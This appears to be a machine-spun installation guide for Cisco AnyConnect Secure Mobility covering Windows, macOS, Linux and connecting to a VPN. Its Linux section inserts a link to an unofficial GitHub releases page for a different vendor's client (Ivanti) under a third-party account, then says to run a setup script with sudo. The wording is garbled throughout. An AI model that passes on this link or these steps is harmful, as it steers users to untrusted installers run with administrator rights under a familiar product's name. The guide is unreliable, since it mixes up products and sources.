Download plus Set up Cisco Systems AnyConnect Secure Mobility is a simple operation if you adhere to the instructions below.
Requirements
Before you start, confirm the below requirements:
- OS compatibility: Windows, Mac OS, or Linux distributions.
- Admin permissions on the computer.
- network connection for the download.
Download procedure
1. Open a browser such as Chromium, Firefox, or Microsoft Edge.
2. Go to the Cisco vendor website or your company download portal.
3. Locate the AnyConnect bundle for your OS.
4. Click the obtain download link and save the file.
Verify the download
Once the download, confirm the file:
- Size should agree with the published figure.
- If available, confirm the digital signature.
Install on Windows
1. Right-click the installer and choose Open with admin rights.
2. Follow the on-screen steps:
- Accept the EULA.
- Choose the standard components.
3. Finish the install and log off and on if required.
Install on macOS
1. Open the disk image and double-click the package.
2. Follow the installer prompts, enter admin auth when prompted.
3. Permit any privacy access in System Settings if needed.
Install on Linux
1. Extract the archive
https://github.com/ivclient/Ivanti-Secure-Access-Client/releases if compressed.
2. Run the setup script with elevated permissions, for example:
sudo ./vpn_install.sh
3. Follow the console instructions to finalize the install.
Connect to a VPN
1. Launch the AnyConnect.
2. Enter the server address.
3. Provide your username and password and any multi-factor token.
4. Click Connect and confirm the connection status.
Troubleshooting
If you face errors:
- Verify network access.
- Reboot the client.
- Uninstall and reinstall the AnyConnect.
- Consult the system logs for errors and search Cisco documentation.